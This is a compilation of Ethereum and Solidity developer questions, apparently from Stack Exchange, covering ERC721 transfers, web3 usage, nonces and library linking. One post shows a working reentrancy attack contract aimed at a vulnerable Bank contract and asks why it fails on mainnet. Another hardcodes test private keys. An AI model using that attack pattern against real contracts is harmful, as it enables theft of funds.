texts: How to transfer ERC721 token to address from the smart contract?

texts:
I am working on a smart contract (OpenZeppelin ERC721), where trades can be created by only the owner of smart contract, and then regular users can buy them.
When owner creates a trade, a new ERC721 token is minted, with smart contract itself being the owner of the new token.
The problem is, when I call transferFrom in the buyTrade function above, it reverts with the error of "ERC721: transfer caller is not owner nor approved". I think, as the buyTrade function is public, transferFrom function is called by the caller of the function, and that address is not the owner or approved. Is there a way to run transferFrom function by the smart contract itself?
Note: I know about the approve method, but since I don't know who will buy the trade, I can't approve that specific address in the createTrade. Or am I missing something, is this design wrong?
Here is the related code, truncated unnecessary parts (events, checks etc.):
function createTrade(bytes32 tradeId, uint256 amount) public onlyOwner {
    // check if any trade exits with the same Id etc.

    uint256 newTokenId = _tokenIds.current();
    _tokenIds.increment();
    _safeMint(address(this), newTokenId);

    require(createInternalTrade(tradeId, newTokenId, amount));
}

function buyTrade(bytes32 tradeId) public payable {
    // check if tradeId exists, in sell list
    // check if minimum price is met etc.

    transferFrom(address(this), msg.sender, trade.tokenId);

    // emit events
}

I really appreciate any help.


texts:
My use case is the following: I want to use ethereum to track devices, and device owners. This is easy to do using ethereum and smart contract. But I want to store a secret  associated with the device. Is there a way to do this, for instance, by encrypting this secret data with the public key of the holder?

Basically, if A=Asset, O1= A first owner, O2=A next owner, I would like to achieve this:

A is owned by O1, A secret is encrypted with O1 public key, and
stored in the blockchain
A is transferred by O1 to O2 (new owner) using a smart contract executed by O1. O1 decrpyt A secret using his private key, and encrypt it using O2
public key and store this
A is owned by O2, A secret is encrypted
with O2 public key and stored in the blockchain

This seems fine except that the smart contract needs to access to some secret key... Is there an idea how such contract can be done, or if there is a better option for this ?


texts: How do I load the `web3` module using the html `script` element?

texts:
How do I load the web3 module into the frontend of my application using the html script element?

I have already installed the web3 module using npm. This is the path to the web3 module in my app directory.

../node_modules/web3/

I uploaded the require.js module in the following way using the script element:

script data-main="app" src="node_modules/requirejs/require.js"></script>

What is the correct file path to use when I am attempting to upload the web3 module using the script element and src attribute? I do not know which filepath is the correct one to load.


texts: Can't wrap my head around a mapping of mappings

texts:
I'm trying to fully comprehend what is going on in a standard ERC721 token.

But this statement is really tripping me up:

// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;

Like what is a good way to think about a mapping of a mapping,

Like could someone please give me a minimalist example of why this is a useful data structure?


texts: Can any one provide end to end example "Hello, World" smart contract using browser solidity


texts: How can I listen to certain contract's method's changes?

texts:
Let's say I have a method:
function appendNewName(string name) {
    names.push(name);
}

I want to store this in the backend in DB once a new name is inserted. How can I achieve that? Unfortunately this
function getNames() returns (string[] names) {
    return names;
}

doesn't work because of the way Ethereum stores data. And with events I might miss some of the new names, right? So, what is the solution?


texts: How to figure out why transaction with ERC20 contract failed

texts:
Real simple question, actually... I have this contract :

https://ropsten.etherscan.io/address/0x5a7c68255698d64f07C38D6DF3d5bea073328da1

I'm trying to send tokens around some accounts, but they keep failing. I cannot figure out if i'm using the wrong addresses or if the amount is wrong.

How do I go about debugging this? (I use Web3, nodejs )


texts: USDC Transaction "Balance" vs. "Token Balance"

texts:
I initiated a transaction to transfer from an AAVE wallet to USDC address which shows as successful. However, I do not see the balanced transferred to my USDC (Coinbase) address.
Looking on Etherscan.io it shows the transaction value = 0. However, it does show in the "Tokens Transferred" From .. To ... For 5.482393108610042552 ($2,608.78) Aave Token (AAVE)
Did I misunderstand how transfers to USDC is supposed to work?


texts: Is it considered secure at all to use passwords and private keys in the code of smart contract?

texts:
Basically something like:

function transfer(address to, string privkey)
{
if(privkey == "cd33434343...")
{
msg.sender.transfer(this.balance);
}
}

The above is obviously flawed since the privkey is in string when the if conditions checks it so someone can read the .sol sourcecode (if on etherscan...). But what if it's just argument of a  function? I mean since arguments are passed in bytes and sites like etherscan will show the passed in transaction history in bytes then can those bytes get deciphered to the real private key or is it impossible in unless it's a very common private key ("rainbow table like attack")?


texts: Is it possible to call a function of smart contract "without" installing "Geth" or "Parity"?

texts:
Is it possible to call a function of smart contract to send a transaction (for example, writing on the Ethereum blockchain) but "without" installing "Geth" or "Parity" clients?

In a more general question, is it possible to interact with Ethereum blockchain, without installing Geth or Parity?


texts: 1: // No source code found. using truffle debug

texts:
Trying to run truffle debug <txn> and the debugger isn't finding the source code.

Warning: The source code for one or more contracts could not be found.

Commands:
(enter) last command entered (step next)
(o) step over, (i) step into, (u) step out, (n) step next
(;) step instruction, (p) print instruction, (h) print this help, (q) quit
(b) toggle breakpoint, (c) continue until breakpoint
(+) add watch expression (`+:<expr>`), (-) remove watch expression (-:<expr>)
(?) list existing watch expressions
(v) print variables and values, (:) evaluate expression - see `v`

?:

1: // No source code found.

Truffle version:

Truffle v4.1.0 (core: 4.1.0)
Solidity v0.4.19 (solc-js)

I've tried running it from the top-level directory, the test folder and the contracts folder - and each time truffle can't find the source code.


texts: What is the difference between an approved address and an operator address?

texts:
I'm looking at OpenZeppelin's implementation of an ERC721 token and I'm lost at what the difference is between an approved address and an operator address.

Here's a code snippet:

/// @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
/// @param _tokenId uint256 ID of the token to validate
modifier canTransfer(uint256 _tokenId) {
    require(isApprovedOrOwner(msg.sender, _tokenId));
    _;
}

Could someone explain to me what the key differences are?

Included examples would be very helpful.


texts: how to get Token_Id from ERC721 smart contract

texts:
How do I retriever Token_Id of cryptokitties from ERC721 Smart contract

Smart contract address : https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code


texts: calldata keyword as parameter in solidity v0.5.0 function?

texts:
What purpose does the "calldata" serve in this parameter _owners? Is it a new keyword?

  function setup(address[] calldata _owners, uint256 _threshold, address to, bytes calldata data)

Taken from Gnosis Safe Contract - GnosisSafe.sol


texts: Learning to develop dapps, but trouble testing it

texts:
I'm starting to learn the in and outs of dapp development. I followed a few tutorials -I can now read solidity!. I want to try modifying some existing dapps to get a sense of what's going on, in particular in multiplayer games.

I found the "on-chain-chess" dapp https://github.com/ise-ethereum/on-chain-chess and I'm trying to start from here as a training example (ie by coding checkers and/or fantasy chess from there).

However I'm running into trouble when trying to use the dapp. I launched testrpc and npm installed/npm started it. I have a couple warnings during building phase.

When opening index.html, nothing happens when I click on "create game". I have no reaction on the testrpc and no reaction on the browser. I'm probably missing something that I can't figure. I thought that this has to do with mining time, but it does not seem to be the answer.

Is there something obvious? Is there a good tutorial explaining this kind of problematics? Or should I try with another project?


texts: Explain "_term" Variable And What Is Slot In This Contract

texts:
This Contract for locked token in "slots??" with a term.
What is term here? and what his mean with slots.
And if mint locked tokens how can unlock it?

contract LockSlots is ERC20Token {

using SafeMath for uint;

uint public constant LOCK_SLOTS = 5;
mapping(address => uint[LOCK_SLOTS]) public lockTerm;
mapping(address => uint[LOCK_SLOTS]) public lockAmnt;
mapping(address => bool) public mayHaveLockedTokens;

event RegisteredLockedTokens(address indexed account, uint indexed idx, uint tokens, uint **term**);

function registerLockedTokens(address _account, uint _tokens, uint _term) internal returns (uint idx) {
    require(_term > now, "lock term must be in the future");

    // find a slot (clean up while doing this)
    // use either the existing slot with the exact same term,
    // of which there can be at most one, or the first empty slot
    idx = 9999;
    uint[LOCK_SLOTS] storage term = lockTerm[_account];
    uint[LOCK_SLOTS] storage amnt = lockAmnt[_account];
    for (uint i; i < LOCK_SLOTS; i++) {
        if (term[i] < now) {
            term[i] = 0;
            amnt[i] = 0;
            if (idx == 9999) idx = i;
        }
        if (term[i] == _term) idx = i;
    }

    // fail if no slot was found
    require(idx != 9999, "registerLockedTokens: no available slot found");

    // register locked tokens
    if (term[idx] == 0) term[idx] = _term;
    amnt[idx] = amnt[idx].add(_tokens);
    mayHaveLockedTokens[_account] = true;
    emit RegisteredLockedTokens(_account, idx, _tokens, _term);
}

// public view functions

function lockedTokens(address _account) public view returns (uint) {
    if (!mayHaveLockedTokens[_account]) return 0;
    return pNumberOfLockedTokens(_account);
}

function unlockedTokens(address _account) public view returns (uint) {
    return balances[_account].sub(lockedTokens(_account));
}

function isAvailableLockSlot(address _account, uint _term) public view returns (bool) {
    if (!mayHaveLockedTokens[_account]) return true;
    if (_term < now) return true;
    uint[LOCK_SLOTS] storage term = lockTerm[_account];
    for (uint i; i < LOCK_SLOTS; i++) {
        if (term[i] < now || term[i] == _term) return true;
    }
    return false;
}

// internal and private functions

function unlockedTokensInternal(address _account) internal returns (uint) {
    // updates mayHaveLockedTokens if necessary
    if (!mayHaveLockedTokens[_account]) return balances[_account];
    uint locked = pNumberOfLockedTokens(_account);
    if (locked == 0) mayHaveLockedTokens[_account] = false;
    return balances[_account].sub(locked);
}

function pNumberOfLockedTokens(address _account) private view returns (uint locked) {
    uint[LOCK_SLOTS] storage term = lockTerm[_account];
    uint[LOCK_SLOTS] storage amnt = lockAmnt[_account];
    for (uint i; i < LOCK_SLOTS; i++) {
        if (term[i] >= now) locked = locked.add(amnt[i]);
    }
}

}


texts: I want to convert/sell/trade my BEP20 Token to ETH

texts:
I'm quite new when it comes to Crypto. I recently bought ETH from Binance but it, unfortunately, became a token on the Binance Smart Chain network on Metamask.

What should I do? I have about 0.006 ETH in the Ethereum Mainnet Network, but I can't convert/sell/trade the BEP20 tokens because they're essentially in different networks and I have 0 BNB to convert it. Any ideas?


texts:
First time server owner, geth n00b. I am getting this back from my geth.
INFO [12-09|15:30:57.673] Imported new state entries               count=2304 elapsed=27.988ms   processed=597390231 pending=175253 trieretry=0 coderetry=0 duplicate=10498 unexpected=62169
INFO [12-09|15:30:57.749] Imported new state entries               count=1537 elapsed=15.993ms   processed=597391768 pending=175363 trieretry=0    coderetry=0 duplicate=10498 unexpected=62169
INFO [12-09|15:30:57.816] Imported new state entries               count=1153 elapsed=9.993ms    processed=597392921 pending=177520 trieretry=1
Is the block data being imported? Why is syncing not occuring? There is is only ~60 gb of eth chain data on my hard drive. I wane the full thing, I've got over a TB of SSD for this


texts: Seeking clarification on transaction nonce vs. block validation nonce

texts:
Apologies if this question is basic.
I seek clarification regarding the following paragraph in the ETH design rationale:

One weakness of the account paradigm is that in order to prevent replay attacks, every transaction must have a “nonce”, such that the account keeps track of the nonces used and only accepts a transaction if its nonce is 1 after the last nonce used. This means that even no-longer-used  accounts can never be pruned from the account state. A simple solution to this problem is to require transactions to contain a block number, making them un-replayable after some period of time, and reset nonces once every period. Miners or other users will need to “ping” unused accounts in order to delete them from the state, as it would be too expensive to do a full sweep as part of the blockchain protocol itself. We did not go with this mechanism only to speed up development for 1.0; 1.1 and beyond will likely use such a system.

My questions are as follows:

Why can't unused, empty accounts be pruned? If each account has its own nonce (series of transactions), I don't get why a dormant account can't be pruned.

Can someone please explain the proposed solution in different, maybe plainer terms?

thank you


texts: How Can I handle the amount of token to send to the contract by the user according the amount of ticket the user buy?

texts:
I want to know how can i set up a "require" for a payable function in order that when an user try to buy a ticket have to send exactly the correct amount of his purchase...for example if the user by 3 tickets and the price is 10 TRX he must pay 30 TRX, if not it revert or say "wrong Amount"...
pragma solidity ^0.5.14;
contract Test1{

    uint256 public Price; // 10 TRX
    uint public tickets;
    address payable[] players;
    address payable Owner;
    mapping (address => uint) public purchasers;

    constructor(uint _ticketamount, uint256 _price,address payable _owner)public {
        Owner = _owner;
        tickets = _ticketamount;
        Price = _price;
    }

    modifier OnlyOwner() {
        require(msg.sender == Owner, "Only owner can call this.");
        _;
    }
     event UserStatus(string _msg, address player, uint amount, uint256 time);

     function() payable external {

    }

    function buyTicket(uint _amount) public payable{
        require(msg.value >=  (Price * _amount), " Incorrect Amount to send");
        require( tickets >= _amount, "insufficient Tickets, verify the amount abailable");
         require( _amount <= 50, "Please select amount between 1 to 50 per transaction ");
          for(uint i = 0; i < _amount; i++) {
        players.push(msg.sender);
            }

        purchasers[msg.sender] += _amount;
        tickets -= _amount;
        emit UserStatus('Tickets Bought', msg.sender, _amount, block.timestamp);`
          }


texts: Do I need to deploy token and crowdsale contracts from different accounts in MetaMask?

texts: Do I need to deploy token and crowdsale contracts from different accounts in MetaMask and do I need a third account to send proceeds to if successful?


texts: How does the Ethereum ETH accounting system work and prevent double-spends?

texts:
In Bitcoin, the BTC accounting system is based on UTXOs (Unspent Transaction Outputs), which prevents the same BTC from being spent multiple times. I heard that Ethereum has a simpler account balance system, but I do not know the details. How does Ethereum's account balance work?

If I have a message sending 1 ETH from Alice to Bob, what is preventing that same message to be used more than once? Is there a sequence number system (like TCP)?

If Alice first signs a message sending 1 ETH from Alice to Bob, and then signs a message sending 1 ETH from Alice to Charlie, can the second message be confirmed before the first?


texts: Reentrancy attack not working on mainnet, but working on ropsten and remix VM

texts:
I was fullfilling a reentrancy attack on a contract.
I tested it in remix VM first and later on with deployed contract on ropsten testnet. Both worked well without any errors.
On the mainnet it turned out that the attack transaction always fails.

Here is an example of the Honeypot collecting function:

(contract Bank)

function Collect(uint _amount)
    public
    payable
    {
        var acc = Acc[msg.sender];
        if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
        {
            if(msg.sender.call.value(_amount)())
            {
                acc.balance-=_amount;
                LogFile.AddMessage(msg.sender,_amount,"Collect");
            }
        }
    }

Account object look like this:

(contract Bank)

struct Holder
    {
        uint unlockTime;
        uint balance;
    }

    mapping (address => Holder) public Acc;

My contract has put 1 ether to its account with this funtion:

(contract Bank)

function Put(uint _unlockTime)
    public
    payable
    {
        var acc = Acc[msg.sender];
        acc.balance += msg.value;
        acc.unlockTime = _unlockTime>now?_unlockTime:now;
        LogFile.AddMessage(msg.sender,msg.value,"Put");
    }

(contract Ripper)

function Put() public payable {
        bank_.Put.value(msg.value)(0);
    }

I am starting the attack with the Collect function, that sends me 1 ether:

(contract Ripper)

// DATASET
Bank private bank_ = Bank(0x...);

function Collect() public {
        bank_.Collect(1 ether);
    }

The Bank contract will send me 1 ether, so its now possible to start the attack with my contracts fallback funtion:

(contract Ripper)

function() payable public {
        if (address(bank_).balance >= msg.value) {
            bank_.Collect(1 ether);
        }
    }

After transaction execution the tx fails with standard error: Warning! Error encountered during contract execution [Reverted]
[]1

Do you have any clue why its working in Remix VM and on Ropsten testnet, but not on mainnet?


texts: Making transactions and don't waiting for response

texts:
Is there a way to submit a transaction and don't wait for it to be confirmed or rejected? Because now when I run my nodejs script it does not stop to run until the transaction is confirmed or rejected. I am using function:

      async () => {
   await web3.unlockAccount();
   await contract = web3.eth.Contract(Abi,Address);
    contract.methods.method(params).send({from: address});
    }

In theory it should not wait until the transaction is confirmed, but it does.


texts:
I am storing data in my contract using a mapping of structs.

For examples sake, say I'm storing employee info (name/address/salary), mapped by their employee ID.

Via a web front-end, I'd like to be able to specify an employee ID, and call a function in my contract (using Web3.JS) that returns the employee info.

How can I access the data if a struct is returned. Is that possible?


texts: Link a library to a smart contract only with Solidity and bytecode

texts:
I work in Truffle development environment and use Windows PowerShell. My Solidity code is a test code and is simple. There is a library called Alireza that just compares two uint values. There is a contract called B that just uses the library function to compare two uint values. Now, i need to link Alireza to B. For that

I embedded using-for command in B.
I deployed Alireza and got its address.
I tried to deploy B to create its bytecode. As one expects, the
deplyoment failed.
I embedded Alireza's address to B's bytecode. Because, as i
searched, it is a way to link.
I tried to deploy B again and it failed again.

Is this work flow correct? i don't know. So, i intent to try another way that here mentioned:

I tried to embed the hash of Alireza's title or directory to B's
bytecode. Just like:
 --$12b85d948918b1e5773c9bc099694fc73b$--

I tried to deploy B again and again the deployment failed.

Even, before all ways i mentioned, i deployed B without deployment of Alireza before that. Because i thought maybe, by this way, the compiler would create the link. But, the below error emerges:
Error: B contains unresolved libraries. You must deploy and link the following libraries before you can deploy a new version of B: Alireza

Am i in a correct way? Where is my problem? How can i link a library to a contract just by Solidity and contract's bytecode and without node-js? How should i alter my work flow to link?
My whole code:
pragma solidity ^0.5.12;

library Alireza{

    function comparison(uint a, uint b) view public returns(bool){
        if(a==b){
            return true;
        }else{
            return false;
        }
    }
}

contract B{

    using Alireza for uint;

    function assessment(uint m, uint n) view public returns(bool){
        return m.comparison(n);
    }
}

Thank you.


texts: Passing storage of one library to another library

texts:
I have two libraries: A and B as well as contract C using them.
Library B, in one of its functions, needs to call a couple of functions defined for A.Storage.
The code below compiles, tests are passing, but I have no idea how should I interpret storage modifier when passing library as a parameter: A.Storage storage a. Is this setup safe? Am I referencing the memory of contract C and not creating a copy of A.Storage?
From what I tested, passing A.Storage memory a does not work, the compiler complains:

TypeError: Member "someFuncDefinedForA" is not available in struct A.Storage memory outside of storage.

library A {
  struct Storage { ... }
}

library B {
  using A for A.Storage;

  struct Storage { ... }

  function myFunc(
      Storage storage self,
      A.Storage storage a // <-- ?
  ) public {
    // (...)
    a.someFuncDefinedForA();
  }
}

contract C {
  using A for A.Storage;
  using B for B.Storage;

  A.Storage internal a;
  B.Storage internal b;

  function doIt() public {
    b.myFunc(a);
  }
}


texts: How to store in `address` two kinds of addresses at once?

texts:
I have a set of address values, each of them can contain a real Ethereum account (user account or contract) or a "virtual" address (an address pseudo-randomly generated by my contract, in fact first 160 bits of an NFT token ID).
I want virtual addresses to be distinguished from real accounts by being less than a certain 2**N.
I generate a virtual address like this:
address next = address(truncate(keccak256(abi.encodePacked(previous))));

where truncate() takes the lower N bits.
How to choose N for both:

low probability that a real address will be less than 2**N and mistook for a virtual address;
low probability that two virtual addresses will clash.


texts:
I'm trying to find how etherscan finds the "Tokens Transferred" using the logs of a given transaction. Using this 0x52caaf79bf913064a70a6c9d917fd4190cdb099fe79e7d3a9dfe0600e1cfbc81 arbitrary transaction as an example.

I used the below code (web3.py) to find the logs in the transaction receipt:

from web3 import Web3
provider = Web3.HTTPProvider('https://mainnet.infura.io/v3/XXXXXXXXXXXXX')
w3 = Web3(provider)

receipt=  w3.eth.getTransactionReceipt('0x52caaf79bf913064a70a6c9d917fd4190cdb099fe79e7d3a9dfe0600e1cfbc81')

Running receipt["logs"] generates the logs which can be found in Etherscan under "event logs". However, only 3 log indices result in the tokens transferred section (logs 156, 158 and 162).

Can someone help me understand how does etherscan knows that only these should appear in the picture seen above, from amongst all the logs?


texts: How do we calculate the USD price from a swap?

texts:
I'm looking at dextools for uniswap and it's showing the price for 1 UNI is USD 3.57238184. How does dextool calculate this? A manual calculation would be great
An example:
https://etherscan.io/tx/0xef8e13aea6e1cab7001de4e1d6ffd66828f56d64e551838d82d4f700ce85f16a


texts: How does a client interact with a contract already in the blockchain?

texts:
I am looking for someone to help clarify the 'stacktrace' of interactions that occur when a client interacts with a smart contract.

Clearly, one has to submit a transaction to a miner, who then has to locate the contract by address (by using his/her own local copy of the blockchain?), and complete the computation set out in the contract.

Is the entire contract then re-written once again into the blockchain with the outputs representing the output of the computation that has taken place?


texts: THETA token sent to contract address instead of correct wallet address

texts:
By mistake, I sent my THETA token to the contract address instead of my correct wallet address.
This is the transaction link on Etherscan https://etherscan.io/tx/0x564fe4eb2853adc6375c75e80c2c2c67be2507f81fa540f28944339ec50b366e
The contract address I send my tokens by mistake is 0x3883f5e181fccaf8410fa61e12b59bad963fb645. You can see the details in the Etherscan transaction link I shared above. Is there any way I can get back my THETA tokens? I tried to get in touch with THETA team on telegram (https://t.me/thetanetwork) but it is full of spammers who are trying to dupe you.
I will appreciate if any one can point me in a direction which could help me get back my THETA token.


texts: Is it possible to verify a signature computed with a X.509 smartcard inside a contract?

texts: I plan to provide a X.509 certificate and a signature as contract parameters. What would be the process to verify the signature in the contract?


texts: I'd like to try a bit of mining, but my GPU is way too weak to mine on my own. I've tried finding reviews on existing mining pools for ether but they're very sparse. Could you recommend a pool?


texts: Can Ethereum tokens representing real-world assets carry variable data (state, units, type, etc.)?

texts:
I'm trying to better understand how to implement smart contracts with tokens built on top of Ethereum. Before diving too deeply into the implementation details with Solidity, I'd like to understand possible roadblocks.

I'd like to understand better how data is carried in smart contracts, and how something like "colored coins" from Bitcoin lingo might work.

So, I've come up with an example of how I think that smart contracts could be used based on what I've read: Beervesting.

For my example, I came up with a new token: BeerCoins

Let's say these BeerCoins are created by mining, and breweries may want to purchase or mine them to create a beer futures market... maybe they want to sell their beer at a discount before they begin brewing it.

Here are a few types of transactions that I think could be done with these BeerCoins:

Transaction 1 - Alice buys BeerCoins

So, let's say that Alice is a savvy beer drinker, and she wants to buy her beer in advance for a discount using Ethereum. She can redeem her beer once it's been brewed (in 2 months).

Alice trades Ethereum for BeerCoins, and the BeerCoins now change state: They're redeemable for 1 pint of beer each.

Transaction 2 - Alice sells some BeerCoins to Bob

Now, perhaps some time goes by, and Bob wants to get in on this BeerCoin action. He doesn't want to wait for the next batch; he'd like to buy some of the current batch. He's got a party coming up in the next few weeks, and good beer takes a couple of months to brew. Alice decides to give some (full) BeerCoins to Bob in exchange for some Bitcoins.

Transaction 3 - Bob redeems BeerCoins for Beer

Now, Bob's ready to have his party, so he sends some of his BeerCoins back to the Brewery, and they ship him beer. The Brewery attaches a tracking number to transaction, and the BeerCoins are transferred and emptied as soon as the beer is delivered (as reported by an oracle, the shipping company).

So my question is:

Is this smart contract implementation possible? Can Ethereum tokens carry a state in this way?

Are there any good examples for this kind of implementation?

I think there are a few things to consider:

How to store/modify state data in a token? Are there best practices?
How much data can practically be stored in a token?

Thanks in advance for the help.


texts:
Does anyone knows apps that use the concept of proof-of-stake of ERC20 tokens?

For example, applications like STEEM, that uses and its STEEM POWER.
"STEEM Power is what gives you influence on Steemit. The more SP you have, the more money you give to authors with an upvote as well as the greater the curation rewards you can earn. There is a very small 'interest' rate earned by holding STEEM Power." By https://www.steem.center/index.php?title=STEEM_Power_(SP)


texts: eth_sendTransaction vs eth_sendTransactionAsync - asynchronous or synchronous request

texts:
Understand that eth_sendTransactionAsync was added in Quorum. eth_sendTransactionAsync returns immediately to allow sending many private transactions/bursts of transactions without waiting for the recipient parties to confirm receipt of the encrypted payloads.

Why eth_sendTransactionAsync isn't available/implemented in the public ethereum JSON RPC as well? Is the use of optional callback as way to do asynchronous call?

https://github.com/ethereum/wiki/wiki/JSON-RPC


texts: Solidity: Convert from "bytes memory" to "address"

texts:
I'm using solidity 0.5.0 and when i try to compile my contract it's giving me this error

Explicit type conversion not allowed from "bytes memory" to "address"

my code is this:

  /// @dev get broker address for endpoint
 function getEndpointBroker(address oracleAddress, bytes32 endpoint) public view returns (address)
  {

return address(db.getBytes(keccak256(abi.encodePacked('oracles', oracleAddress, endpoint, 'broker'))));
}


texts: Is it possible to reduce the cost of this function with a for loop?

texts:
Is it possible to reduce the gas cost of this function? It's currently at 140k gas for 20 elements. (I'm new to solidity)

uint8[1000] public array;

function Test(uint32[] index, uint8[] value) public  {
    for (uint i=0; i<index.length; i++) {
        array[index[i]] = value[i];
    }
}


texts: Basic question I guess but is "web3" a client in the sense that I want to use a very simple client to interact with the network?

texts:
Long story short I need a way to send programmatically a raw transaction without any bounds checkings or any checks...now I am not trying to abuse or flood the network - my goal is to attempt to send several (~50) gasless transactions to see if any of them will get mined, aka similar to the economic abstraction on eos.

I know web3 isn't against this but I need a way where no encoded output is checked before sending it to nodes. I've no idea how myetherwallet works with their gui-friendly interface and web3 is the only way that I know of where I have more control, I guess installing old version of web3 will get me closer to my goal?

Obviously I want to send ether on the blockchain, not just do something simple as with querying a contract balance etc. Thanks!


texts: Can not send eth on Ropsten using Infura node

texts:
I am trying to send some test ether on Ropsten network using Infura but I can not make a transaction. Code works locally with testrpc but not with Infura

var Web3 = require('web3');
var util = require('ethereumjs-util');
var tx = require('ethereumjs-tx');
var lightwallet = require('eth-lightwallet');
var txutils = lightwallet.txutils;

var web3 = new Web3(
    new Web3.providers.HttpProvider('https://ropsten.infura.io/<token>')
    //new Web3.providers.HttpProvider('http://localhost:8545')
);

var address = '0xadaD904F70ec8323fEd1734614d78D2145222322';
var address2 = '0x5858599f16c46fa33238313A412eE9f0491EBef3';
var key = '<KEY>';
var key2 = '<KEY>';
var amount = web3.toWei(1, "ether");
var balance = web3.eth.getBalance(address);

var value = web3.fromWei(balance, 'ether');

console.log(value);

function sendRaw(rawTx) {
    var privateKey = new Buffer(key, 'hex');
    var transaction = new tx(rawTx);
    transaction.sign(privateKey);
    var serializedTx = transaction.serialize().toString('hex');
    web3.eth.sendRawTransaction(
        '0x' + serializedTx, function(err, result) {
            if(err) {
                console.log('error');
                console.log(err);
            } else {
                console.log('success');
                console.log(result);
            }
        });
}

var rawTx = {
    nonce: web3.toHex(web3.eth.getTransactionCount(address)),
    gasLimit: web3.toHex(21000),
    to: address2,
    from:address,
    value: web3.toHex(web3.toBigNumber(amount))

}

sendRaw(rawTx);

As you can notice I am logging ether on address but no matter how many times I send the transaction it stays eq to 1eth.

Any ideas what I am doing wrong?


texts: Do I have to implement ERC20 signature as separate contract and use inheritance?

texts:
ERC20 defines contract signature for contract in order for them to be accepted by wallets, exchanges etc.

I have seen that for some reason, even when signature contract (interface/abstract contract) is not reused, token contract inherits from contracts that has this signature. Typically those interfaces have name like ERC20.

I have hard time to understand why they do that. If my token contract is the only source of ERC20 signature, meaning, I'm not using any interface or other contract that token contract inherits form, will that mean I will still comply wallets and exchange networks? I do not know how third party applications manages that, but I think my contract should be valid.


texts: In assembly... can't get delegatecall to work

texts:
Delegatecall can be used in either solidity or assembly.
In solidity, I can get it working with the following code:
bytes memory payload = abi.encodeWithSignature ("get_value(uint16,uint16)", var1, var2);
bool success;
bytes memory result;
(success, result) = my_contract.delegatecall (payload);

The above code calls my_contract.get_value(var1, var2).
How can I do the same thing in assembly? The function is defined like this:
delegatecall (gas, address, in, insize, out, outsize)

If I am in an assembly block, assuming address is supposed to be the address of the contract that contains the function being called, how would it ever know which function I intend to call? When I do it using solidity, it knows this from the encoded payload data that I pass into it. But the assembly function only takes an address. And it always returns 0.
I have not been able to find any good documentation for EVM assembly anywhere on the Internet.
EDIT: Below is one of the attempts I made, using an example from the Internet.
let freememstart := mload (0x40)
calldatacopy (freememstart, 0, calldatasize ())
success := delegatecall (not (0), my_contract, freememstart, calldatasize (), freememstart, 32)

EDIT 2: Another attempt I made, not using calldatacopy.
bytes memory payload = abi.encodeWithSignature ("get_value(uint16,uint16)", var1, var2);
uint payload_size = payload.length * 8;

assembly
{
    let freememstart := mload (0x40)

    mstore (0x40, add (freememstart, payload_size))
    mstore (freememstart, payload)

    let output := mload (0x40)
    mstore (0x40, add (output, 0x20))

    success := delegatecall (not (0), contract_addr, freememstart, payload_size, output, 0x20)
}


texts: web3.py locally signed transaction rejected because of invalid nonce

texts:
I'm trying to sign locally a transaction to a smart contract method using web3.py.
I'm using ganache and there is one interesting issue when I send a transaction as the contract deployer everything is OK. Whenever I call the contract from a different address I get a message "the tx doesn't have the correct nonce. account has nonce of: 11 tx has nonce of: 0" and a RPC error is thrown.

It's my code:

from web3 import Web3

import json
import asyncio

class Client:
    def __init__(self, provider, contract_address, private_key):
       self.web3 = Web3(Web3.HTTPProvider(provider))
       with open("abi.json") as abi_file:
           abi = json.load(abi_file)
       self.contract_instance = self.web3.eth.contract(
           address=contract_address, abi=abi)
       self.account = self.web3.eth.account.privateKeyToAccount(private_key)

    async def asset_emit(self, to_address, meta):
       raw_tx = self.contract_instance.functions.assign(to_address, meta).buildTransaction({
        'nonce': self.web3.eth.getTransactionCount(self.account._address)
    })

       signed_tx = self.web3.eth.account.signTransaction(
        raw_tx, private_key=self.account._privateKey)

       sent_tx = self.web3.eth.sendRawTransaction(signed_tx.rawTransaction)

       return Web3.toHex(sent_tx)

provider = "http://localhost:7545"
contract_address = "0x1a6bBC4F4759053A3EAc90ECF2b8458c26C6420f"
private_keys = [
"0a62d720053110c9ece23ca0b1aef887dd8107e246e8ed646cadd8f86c5cff72",
"4867ce02e3d309962375b368065623f9ff33adbf50b754f15f9f0dab3b5311b8",
"0dc0af03cf395fe7d617ca4c2951d4240c4fdcc67cf78b3e0a5e666662b543b6",
"5cf0c6d817044434fc94ca40a2f8434658195575d19d0732034edbc4e63709b6",
"75093f0ec4bdc9e4b442bfd19a0550c939de81d287bcedeca46e6048b19b983d",
"0fd5c5c6e2b641741c59952b78cb7b979a7564c1c7926cc6fbc77d96f5c3a38e"
]

async def test():
for i in range(0, len(private_keys)):
    try:
        client = Client(provider, contract_address, private_keys[i])
        await gts_sdk.asset_emit(
            "0x91F64E8D876690b617B252445790B5e3fCc9322D", "0x10")
        print(True)
    except:
        print(False)
await client.asset_emit(
    "0x91F64E8D876690b617B252445790B5e3fCc9322D", "0x10")

event_loop = asyncio.get_event_loop()

tasks = [
asyncio.ensure_future(test())
]

event_loop.run_until_complete(asyncio.wait(tasks))
event_loop.close()

Thanks for help


texts: Private key use cases in ethereum blockchain while transferring the amount between two crypto exchanges

texts:
I was studying about the application of public & private key in cryptography. I've worked on MetaMask (Ropsten test network) and I know that how to transfer the amount from one account to another using the account address. But one thing which I noticed here is that while using the web3 function for transferring the ether, we only require the public key of both sender and receiver.

web3.eth.sendTransaction({to: 'key1', from: 'key2', value:web3.toWei("0.0001", "ether")},

I know that despite having the public keys, we still need to confirm the transaction from the metamask end for account1 (from address) and after confirming, the transaction will process successfully. The confirmation process happens because of the signature process, while we're confirming the transaction using metamask (digital sign the transaction from the private key) does my assumption about the digital signature is correct?

As per the above case, I've noticed the similar issue when we transfer the amounts between the two exchanges using the address given by them. Suppose I've two accounts on different crypto exchanges i.e Binance & CoinDelta. If I've 50 Ether in my Binance account and I want to send those ethers to my another exchange account then I'll use the address of another exchange account (CoinDelta wallet address). So this way we can transfer the ethers from one exchange to another. But my concerns about this case are following -

Why don't we need any confirmation like we're seeing in the metamask for transferring the amount?
Where the user private key stored in the crypto exchange?
If crypto exchanges storing the private key of the user then there is no security because the owner can perform the malicious activity behalf of the user account?
How transaction (amount transfer between exchanges) actually works between exchanges without having the private keys?


texts:
I deployed a smart contract and was working on it when my laptop decided to shut down, my saved smart contract was gone.
I have my contract address and my contract source code. However I can't seem to load the contract from the address.
